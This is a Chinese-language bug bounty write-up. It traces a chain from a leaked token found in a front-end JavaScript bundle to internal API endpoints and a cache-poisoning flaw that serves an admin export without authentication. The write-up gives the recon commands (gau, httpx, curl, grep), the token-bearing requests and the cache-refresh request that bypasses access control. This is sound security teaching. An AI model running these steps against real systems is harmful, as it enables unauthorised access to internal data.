本文讲述的是一个前端文件如何悄无声息地引导白帽小哥获得后端访问权限、内部API,以及一个最终演变成具有高影响力漏洞的缓存投毒问题。
第一步:先收集,后思考
一开始白帽小哥并没有攻击任何东西。只是收集信息。
cat alive.txt | gau | grep '\.js' > js_files.txt
然后过滤出那些实际上可达的文件:
cat js_files.txt | httpx -mc 200 > live_js.txt
在这个阶段,小哥并非寻找漏洞,只是在建立对目标的熟悉程度。
第二步:正确地阅读 JavaScript 文件
大多数人对 JS 文件只是瞥一眼。小哥会把它们的内容全部下载下来。
cat live_js.txt | xargs -n1 -P10 curl -s > js_dump.txt
在一个带版本号的捆绑文件中,比如:
/static/app.bundle.9f3a1c.js
成功注意到:
const API_BASE = "https://api.target.com/internal";
const INTERNAL_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";
第三步:让前端为你绘制后端地图
一旦拿到 JS,就无需猜测端点。
grep -oP "https?://[^\"]+" js_dump.txt | sort -u
输出结果包括:
/internal/user/debug
/internal/cache/refresh
/internal/admin/export
在前端代码中看到 /internal/ 总是让人无法安心。
第四步:不抱期望地测试令牌
小哥没抱太大期望,但还是测试了这个Token:
curl -H "Authorization: Bearer <TOKEN>" \
https://api.target.com/internal/user/debug
响应:
{
"env": "production",
"cache": "enabled",
"role": "service"
}
响应确认了两件事:
- 令牌是真实的
- 在生产环境中依然可用
第五步:那个感觉不对劲的端点
有一个端点一直困扰着小哥:
/internal/cache/refresh
回过头再次查看 JS,发现它是这样被使用的:
fetch(`/internal/cache/refresh?path=${userPath}`)
用户输入,缓存逻辑,没有明显的验证。
这种组合通常会导致糟糕的结果。

Gif
第六步:当缓存成为问题
这不是一个基本的缓存问题,后端缓存的是完整的响应,而缓存的键名完全依赖于 path 参数的值。
尝试:
curl -H "Authorization: Bearer <TOKEN>" \
"https://api.target.com/internal/cache/refresh?path=/internal/admin/export"
然后直接访问端点:
curl https://api.target.com/internal/admin/export
无需标头,无需token,依然成功收到响应。
第七步:一锤定音的证明
标头说明了一切:
curl -I https://api.target.com/internal/admin/export
X-Cache: HIT
一旦像这样的响应被缓存,访问控制就失效了。
为什么这是一个严重的问题
这不止是一个单一的错误,也是一个连锁反应:
- 前端暴露了内部结构
- 一个长期有效的令牌被泄露在 JS 中
- 缓存刷新逻辑缺乏防护措施
- 身份验证被绕过
- 敏感的后端数据被泄露
单独来看,其中一些问题可能看起来是次要的,但当它们组合在一起时,情况就完全不同了。
从中学到了什么
- JavaScript 文件比文档更好解释了系统
- 前端密钥几乎总会对后端产生影响
- 缓存端点会放大错误
- "内部"并不代表"安全"

